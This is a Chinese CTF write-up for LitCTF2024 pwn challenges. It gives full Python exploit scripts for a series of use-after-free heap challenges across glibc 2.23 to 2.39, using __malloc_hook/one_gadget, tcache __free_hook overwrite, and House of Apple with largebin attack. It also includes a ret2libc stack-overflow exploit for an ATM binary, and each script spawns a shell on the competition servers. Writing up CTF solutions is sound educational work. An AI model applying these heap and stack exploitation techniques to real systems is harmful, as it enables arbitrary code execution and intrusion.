LitCTF2024 Write Up

PWN

队伍ID:摸鱼小小分队

因为一开始打完2.23直接去打2.35了。所以也是侥幸拿了两个一血,一个三血。

image-20240601183558404

系列堆题,除了2.39,其他题目逻辑一样,delete时存在UAF。

heap-2.23

2.23其实比2.27和2.31难打一点,因为fastbin会检查size,所以一般会打__malloc_hook,这就导致需要打one_gadget,运气不好的题就需要用realloc调栈了。

完整exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
GitHub:
    https://github.com/c0mentropy/ckyan.pwnScript
Help: 
    python3 exp.py --help
    python3 exp.py debug --help
    python3 exp.py remote --help
Local:
    python3 exp.py debug --file ./pwn
Remote:
    python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
    python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
'''

# ./exp.py de -f ./heap
# ./exp.py re -f ./heap -u "node2.anna.nssctf.cn:28363" -l ./libc.so.6

from ckyan.pwnScript import *

def cmd(c):
    sla(b'>>', str(c).encode())

def add(idx, size):
    cmd(1)
    sla(b'idx? ', str(idx).encode())
    sla(b'size? ', str(size).encode())

def dele(idx):
    cmd(2)
    sla(b'idx? ', str(idx).encode())

def show(idx):
    cmd(3)
    sla(b'idx? ', str(idx).encode())

def edit(idx, content):
    cmd(4)
    sla(b'idx? ', str(idx).encode())
    sa(b"content : \n", content)


def exp():
    pandora_box.init_script()

    elf = pandora_box.elf
    libc = pandora_box.libc
    p = pandora_box.conn

    add(0, 0x90)
    add(1, 0x10)
    dele(0)

    show(0)

    main_arena_addr = r7f() - 88
    log_addr("main_arena_addr", main_arena_addr)
    __malloc_hook_addr = main_arena_addr - 0x10
    libc_base = __malloc_hook_addr - libc.sym['__malloc_hook']
    libc = set_libc_base_and_log(libc_base)

    add(2, 0x60)
    add(3, 0x60)

    dele(2)
    dele(3)

    pad2 = b''
    pad2 += p64(__malloc_hook_addr - 35)

    edit(3, pad2)

    add(4, 0x60)

    realloc_addr = libc.sym['realloc']
        
    add(5, 0x60)

    one_gadgets = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

    pad3 = b''
    pad3 += b'a' * 11
    pad3 += b'a' * 8
    pad3 += p64(trs(one_gadgets[3]))
    # pad3 += p64(libc.address + one_gadgets[3])
    # pad3 += p64(realloc_addr + 13) # 4 6 8 10 12 13

    edit(5, pad3)

    add(6, 0x10)

    sh()


if __name__ == '__main__':
    exp()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

heap-2.27 & heap-2.31

这两个版本都是tcache直接打__free_hook即可,写system,然后free('/bin/sh\x00');即可。比2.23简单。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
GitHub:
    https://github.com/c0mentropy/ckyan.pwnScript
Help: 
    python3 exp.py --help
    python3 exp.py debug --help
    python3 exp.py remote --help
Local:
    python3 exp.py debug --file ./pwn
Remote:
    python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
    python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
'''

# ./exp.py de -f ./heap
# ./exp.py re -f ./heap -u "node2.anna.nssctf.cn:28345" -l ./libc.so.6

from ckyan.pwnScript import *

def cmd(c):
    sla(b'>>', str(c).encode())

def add(idx, size):
    cmd(1)
    sla(b'idx? ', str(idx).encode())
    sla(b'size? ', str(size).encode())

def dele(idx):
    cmd(2)
    sla(b'idx? ', str(idx).encode())

def show(idx):
    cmd(3)
    sla(b'idx? ', str(idx).encode())

def edit(idx, content):
    cmd(4)
    sla(b'idx? ', str(idx).encode())
    sa(b"content : \n", content)

def exp():
    pandora_box.init_script()

    elf = pandora_box.elf
    libc = pandora_box.libc
    p = pandora_box.conn
    
    add(0, 0x500)
    add(1, 0x10)

    dele(0)
    show(0)

    __malloc_hook_addr = r7f() - 96 - 0x10
    log_addr("__malloc_hook_addr", __malloc_hook_addr)
    libc_base = __malloc_hook_addr - libc.sym['__malloc_hook']
    libc = set_libc_base_and_log(libc_base)

    add(0xf, 0x500)

    add(2, 0x20)
    add(3, 0x20)

    dele(2)
    dele(3)
    
    edit(3, p64(libc.sym['__free_hook']))

    add(4, 0x20)
    edit(4, b'/bin/sh\x00')


    add(5, 0x20)
    edit(5, p64(libc.sym['system']))

    D()

    dele(4)

    sh()

if __name__ == '__main__':
    exp()

heap-2.35

chunk无大小限制的uaf,所以tcache写_IO_list_all,打House of apple即可。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
GitHub:
    https://github.com/c0mentropy/ckyan.pwnScript
Help: 
    python3 exp.py --help
    python3 exp.py debug --help
    python3 exp.py remote --help
Local:
    python3 exp.py debug --file ./pwn
Remote:
    python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
    python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
'''

# ./exp.py de -f ./heap
# ./exp.py re -f ./heap -u "node1.anna.nssctf.cn:28586" -l ./libc.so.6

from ckyan.pwnScript import *

def cmd(c):
    sla(b'>>', str(c).encode())

def add(idx, size):
    cmd(1)
    sla(b'idx? ', str(idx).encode())
    sla(b'size? ', str(size).encode())

def dele(idx):
    cmd(2)
    sla(b'idx? ', str(idx).encode())

def show(idx):
    cmd(3)
    sla(b'idx? ', str(idx).encode())

def edit(idx, content):
    cmd(4)
    sla(b'idx? ', str(idx).encode())
    sa(b"content : \n", content)

def bye():
    cmd(5)

def exp():
    pandora_box.init_script()

    elf = pandora_box.elf
    libc = pandora_box.libc
    p = pandora_box.conn

    add(0, 0x500)
    add(1, 0x10)

    dele(0)
    show(0)

    main_arena_offset = 0x219c80

    main_arena_addr = r7f() - 96
    log_addr("main_arena_addr", main_arena_addr)
    libc_base = main_arena_addr - main_arena_offset - 0x1000
    libc = set_libc_base_and_log(libc_base)

    add(0xf, 0x500)

    add(2, 0x20)
    add(3, 0x20)

    dele(2)
    dele(3)

    show(2)

    # D()

    heap_base = uu64(ru("\n", drop=True)[-5:]) << 12
    log_heap_base_addr(heap_base)

    key = heap_base >> 12

    edit(3, p64(libc.sym['_IO_list_all'] ^ key))

    add(4, 0x20)

    add(5, 0x20)

    add(6, 0x1000)
    add(7, 0x1000)
    add(8, 0x1000)

    # D()

    fake_IO_1_addr = heap_base + 0x10 + 2080
    fake_IO_2_addr = heap_base + 0x10 + 6192
    fake_IO_3_addr = heap_base + 0x10 + 10304

    _IO_wfile_jumps = libc.sym['_IO_wfile_jumps']

    fake_IO_file = b''
    fake_IO_file += p64(uu64("  sh;")) + p64(0x1101)
    fake_IO_file = fake_IO_file.ljust(0x28, b'\x00')
    fake_IO_file += p64(1)
    fake_IO_file = fake_IO_file.ljust(0xa0, b'\x00')
    fake_IO_file += p64(fake_IO_2_addr) # _wide_data = fake_IO_2_addr
    fake_IO_file = fake_IO_file.ljust(0xd8, b'\x00')
    fake_IO_file += p64(_IO_wfile_jumps) # vtable = _IO_wflie_jumps

    edit(6, fake_IO_file)

    pad3 = b''
    pad3 += p64(0) * 28 
    pad3 += p64(fake_IO_3_addr) # 0xe0
    edit(7, pad3)

    pad4 = b''
    pad4 += p64(0) * 13
    pad4 += p64(libc.sym['system']) # 0x68 # system
    edit(8, pad4)

    edit(5, p64(fake_IO_1_addr))

    D()

    bye()

    sh()

if __name__ == '__main__':
    exp()

heap-2.39

这个题开始附件给错了,但是由于是系列堆题,所以逻辑差不多,fuzz一下远程,发现控制了申请chunk的大小。应该是要打largebin attak了。然后就和2.35一样,即Largebin Attack + House of apple,uaf漏洞还是比较方便的,不需要控制堆风水,随便打。注意一点就是libc基地址不再是\x7f开头了,r7f()接收leak libc已成过去式。(因为附件给错了,所以当时直接盲打的,堆题也不需要elf,就是一直接收不到0x7f,打印一下发现是改了。)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
GitHub:
    https://github.com/c0mentropy/ckyan.pwnScript
Help: 
    python3 exp.py --help
    python3 exp.py debug --help
    python3 exp.py remote --help
Local:
    python3 exp.py debug --file ./pwn
Remote:
    python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
    python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
'''

# ./exp.py de -f ./heap
# ./exp.py re -f ./heap -u "node2.anna.nssctf.cn:28095" -l ./libc.so.6

from ckyan.pwnScript import *

def cmd(c):
    sla(b'>>', str(c).encode())

def add(idx, size):
    cmd(1)
    sla(b'idx? ', str(idx).encode())
    sla(b'size? ', str(size).encode())

def dele(idx):
    cmd(2)
    sla(b'idx? ', str(idx).encode())

def show(idx):
    cmd(3)
    sla(b'idx? ', str(idx).encode())

def edit(idx, content):
    cmd(4)
    sla(b'idx? ', str(idx).encode())
    sa(b"content : \n", content)

def bye():
    cmd(5)

def exp():
    pandora_box.init_script()

    elf = pandora_box.elf
    libc = pandora_box.libc
    p = pandora_box.conn

    add(0, 0x500)
    add(1, 0x410)

    dele(0)
    show(0)

    main_arena_offset = 0x203ac0

    ru(b'nt : \n')
    main_arena_addr = uu64(ru(b'\n', drop=True)[-6:]) - 96
    log_addr("main_arena", main_arena_addr)

    libc_base = main_arena_addr - main_arena_offset
    libc = set_libc_base_and_log(libc_base)

    add(2, 0x1000)

    # D()

    edit(0, b'a'*0x10)

    show(0)

    ru(b'a'*0x10)
    heap_base = uu64(r(6)) - 0x290
    log_heap_base_addr(heap_base)

    edit(0, p64(main_arena_addr+1168)*2)

    add(0xf, 0x500)

    add(3, 0x610)
    add(0xe, 0x418)
    add(4, 0x620)
    add(0xd, 0x410)
    dele(4)

    bk = heap_base + 9744
    bk_nextsize = libc.sym['_IO_list_all'] - 0x20
    
    pad1 = b''
    pad1 += p64(bk) * 2
    pad1 += p64(bk_nextsize) * 2

    add(5, 0x1000) # 2
    fake_IO_2_addr = heap_base + 0x10 + 12384

    dele(3)

    edit(4, pad1)

    add(6, 0x1000) # 1
    fake_IO_3_addr = heap_base + 0x10 + 16496

    add(7, 0x610)

    pad1 = b''
    pad1 += b'\x00' * 0x410
    pad1 += p64(uu64(b"  sh;"))
    edit(0xe, pad1)

    fake_IO_file = b''
    fake_IO_file = fake_IO_file.ljust(0x28-0x10, b'\x00')
    fake_IO_file += p64(0xffffffffffffffff)
    fake_IO_file = fake_IO_file.ljust(0x88-0x10, b'\x00')
    fake_IO_file += p64(trs(2119424)) #_lock
    fake_IO_file = fake_IO_file.ljust(0xa0-0x10, b'\x00')
    fake_IO_file += p64(fake_IO_2_addr) # _wide_data = fake_IO_2_addr
    fake_IO_file = fake_IO_file.ljust(0xd8-0x10, b'\x00')
    fake_IO_file += p64(libc.sym['_IO_wfile_jumps']) # vtable = _IO_wflie_jumps

    edit(4, fake_IO_file)

    pad3 = b''
    pad3 += p64(0) * 28 
    pad3 += p64(fake_IO_3_addr) # 0xe0
    edit(5, pad3)

    pad4 = b''
    pad4 = pad4.ljust(0x38, b'\x00')
    pad4 += p64(fake_IO_3_addr)
    pad4 = pad4.ljust(0x68, b'\x00')
    pad4 += p64(libc.sym['system']) # 0x68
    edit(6, pad4)

    D()

    bye()

    sh()

if __name__ == '__main__':
    exp()

ATM

简单的栈溢出,甚至不用ROP,出题人太善良了Orz。

完整exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
GitHub:
    https://github.com/c0mentropy/ckyan.pwnScript
Help: 
    python3 exp.py --help
    python3 exp.py debug --help
    python3 exp.py remote --help
Local:
    python3 exp.py debug --file ./pwn
Remote:
    python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
    python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
'''

# ./exp.py de -f ./app
# ./exp.py re -f ./app -u "node2.anna.nssctf.cn:28339"

from ckyan.pwnScript import *

def exp():
    pandora_box.init_script()

    elf = pandora_box.elf
    libc = pandora_box.libc
    p = pandora_box.conn

    ru('password:\n')

    sl(b'aaaa')

    ru(b'4.Exit')

    sl(b'3')
    sl(b'Please enter your deposit:')
    sl(b'1000')

    ru(b'4.Exit')
    sl(b'5')
    
    ru(b'0x')
    printf_addr  = int(r(12), 16)
    log_leak_addr(printf_addr)
    libc_base = printf_addr - libc.sym['printf']
    libc = set_libc_base_and_log(libc_base)

    pop_rdi_ret = 0x401233
    ret = 0x401234

    padding = 0x160 + 8
    pad = b''
    pad += b'a' * padding
    pad += p64(ret)
    pad += p64(pop_rdi_ret)
    pad += p64(srh('/bin/sh\x00'))
    pad += p64(libc.sym['system'])

    s(pad)
    ru(b'4.Exit')
    sl(b'4')

    sh()

if __name__ == '__main__':
    exp()
updatedupdated2024-06-012024-06-01
加载评论